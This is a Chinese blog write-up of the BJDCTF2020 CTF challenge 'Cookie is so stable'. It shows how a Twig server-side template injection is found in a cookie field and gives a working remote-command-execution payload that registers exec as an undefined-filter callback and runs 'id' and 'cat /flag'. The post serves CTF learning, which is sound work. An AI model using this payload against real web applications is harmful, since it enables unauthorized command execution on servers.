[BJDCTF2020]Cookie is so stable

"本文详细解析了如何利用Twig模板注入(SSTI)进行攻击的过程。通过分析flag.php和hint.php,发现存在模板注入漏洞。在确认是Twig模板而非Jinja2后,利用了call_user_function方法,构造payload为{{_self.env.registerUndefinedFilterCallback("exec")}
摘要由CSDN通过智能技术生成

考查的地方:模板注入,利用Twig模板本身的特性进行攻击

目录

解题过程

参考文章


解题过程

打开题目是这样的,页面有flag,hint

先来看看flag.php,嘶。。。需要输入ID进行登录

看看另一个hint.php,一个简单的东西

抓包分析,既然是hint.php,那就肯定会有线索,如下,提示我们注意看cookie

所以回到flag.php,先输入admin,然后登录,回显:

在登录的状态下,刷新flag.php,进行抓包

后来发现继续尝试,是个模板注入(SSTI)。放出图片

尝试{{7*7}}, 返回49

尝试{{7*'7'}},返回49,说明是Twig模板,但是如果返回7777777,则说明是Jinia2模板

本题是Twig模板

然后根据大佬的wp,得到payload

但是大多数的博客没有提到这个payload是怎么来的,所以继续找,找到了相关文章(这是Twig部分,还有许多其他相当好的部分):

一篇文章带你理解漏洞之SSTI漏洞/#2-Twig

这个函数中调用了一个 call_user_function 方法

public function getFilter($name)
{
        [snip]
        foreach ($this->filterCallbacks as $callback) {
        if (false !== $filter = call_user_func($callback, $name)) {//注意这行
            return $filter;
        }
    }
    return false;
}

public function registerUndefinedFilterCallback($callable)
{
    $this->filterCallbacks[] = $callable;
} 

我们只要把exec() 作为回调函数传进去就能实现命令执行了

payload:

{{_self.env.registerUndefinedFilterCallback("exec")}}

{{_self.env.getFilter("id")}}

所以payload至于要将"cat /flag" 替换"id" 即可。payload:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}


参考文章

1. BJDCTF2020/BUUCTF-WEB:Cookie is so stable(Twig模板注入)

2. 一篇文章带你理解漏洞之SSTI漏洞/#2-Twig

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值